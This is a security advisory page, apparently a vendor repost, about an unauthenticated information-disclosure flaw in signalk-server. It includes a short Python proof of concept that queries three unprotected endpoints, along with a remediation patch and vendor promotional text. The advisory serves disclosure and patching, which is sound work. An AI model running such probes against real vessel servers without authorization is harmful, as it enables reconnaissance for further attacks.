GHSA-fpf5-w967-rr2m
MEDIUMSignal K Server Vulnerable to Unauthenticated Information Disclosure via Exposed Endpoints
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
signalk-servernpmDescription
[Note] This is a separate issue from the RCE vulnerability (State Pollution) currently being patched. While related to tokensecurity.js, it involves different endpoints and risks.
Summary
An unauthenticated information disclosure vulnerability allows any user to retrieve sensitive system information, including the full SignalK data schema, connected serial devices, and installed analyzer tools. This exposure facilitates reconnaissance for further attacks.
Details
The vulnerability stems from the fact that several sensitive API endpoints are not included in the authentication middleware's protection list in src/tokensecurity.js.
Vulnerable Code Analysis:
-
Missing Protection: The
tokensecurity.jsfile defines an array of paths that require authentication. However, the following paths defined insrc/serverroutes.tsare missing from this list:/skServer/serialports/skServer/availablePaths/skServer/hasAnalyzer
-
Unrestricted Access: Because they are missing from the protection list, the
http_authorizemiddleware allows access to these paths even whenenableSecurityis set totrue.
Exploit Scenario:
- Reconnaissance: An attacker scans the server for these endpoints.
- Data Extraction:
- Querying
/skServer/availablePathsreturns the full JSON schema of the vessel's data (e.g.,environment.sun.sunrise,navigation.position), allowing the attacker to know exactly what data points are available for targeting. - Querying
/skServer/serialportsreveals connected hardware (e.g.,/dev/ttyUSB0), aiding in physical device targeting.
- Querying
PoC
The following Python script demonstrates the vulnerability by querying the exposed endpoints without any authentication headers.
import urllib.request
import json
BASE_URL = "http://localhost:3000"
def check_endpoint(name, path):
url = f"{BASE_URL}{path}"
print(f"[*] Checking {name} at {url}...")
try:
req = urllib.request.Request(url)
with urllib.request.urlopen(req) as response:
if response.getcode() == 200:
print(f"[!] VULNERABLE: {name} is accessible without authentication!")
content = response.read().decode('utf-8')
print(f" Snippet: {content[:100]}...")
else:
print(f"[-] Secure: {response.getcode()}")
except urllib.error.HTTPError as e:
print(f"[-] Secure: {e.code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
print("--- SignalK Information Disclosure PoC ---")
check_endpoint("Serial Ports", "/skServer/serialports")
check_endpoint("Available Paths", "/skServer/availablePaths")
check_endpoint("Analyzer Check", "/skServer/hasAnalyzer")
Expected Result:
The script will output [!] VULNERABLE for all three endpoints, showing snippets of the leaked JSON data.
Impact
Verified Information Disclosure: During our verification, we successfully retrieved the following sensitive information without any authentication:
- Full Data Schema: The
/skServer/availablePathsendpoint returned the complete JSON schema of the vessel's data.- Example:
environment.sun.sunrise,navigation.position - Leakage of Internal State: We also observed entries like
notifications.security.accessRequest.readwrite.attacker-device-32, which revealed the presence and IDs of pending access requests (traces of our DoS attack), showing that internal server state is exposed.
- Example:
- Hardware Configuration: The
/skServer/serialportsendpoint exposed the list of connected serial devices. - System Capabilities: The
/skServer/hasAnalyzerendpoint revealed whether traffic analysis tools were installed.
This information allows an attacker to map the system's internal state and capabilities, significantly facilitating further targeted attacks (Reconnaissance).
Remediation
Update src/tokensecurity.js
Add the missing paths to the list of protected routes in src/tokensecurity.js.
// src/tokensecurity.js
// ... existing protected paths ...
;[
'/apps',
'/appstore',
'/plugins',
'/restart',
'/runDiscovery',
'/security',
'/vessel',
'/providers',
'/settings',
'/webapps',
'/skServer/inputTest',
// ADD THESE LINES:
'/skServer/serialports',
'/skServer/availablePaths',
'/skServer/hasAnalyzer'
].forEach((p) =>
app.use(`${SERVERROUTESPREFIX}${p}`, http_authorize(false))
)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.19.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update signalk-server to 2.19.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fpf5-w967-rr2m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fpf5-w967-rr2m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fpf5-w967-rr2m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fpf5-w967-rr2m in your dependencies?
O3 detects GHSA-fpf5-w967-rr2m across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.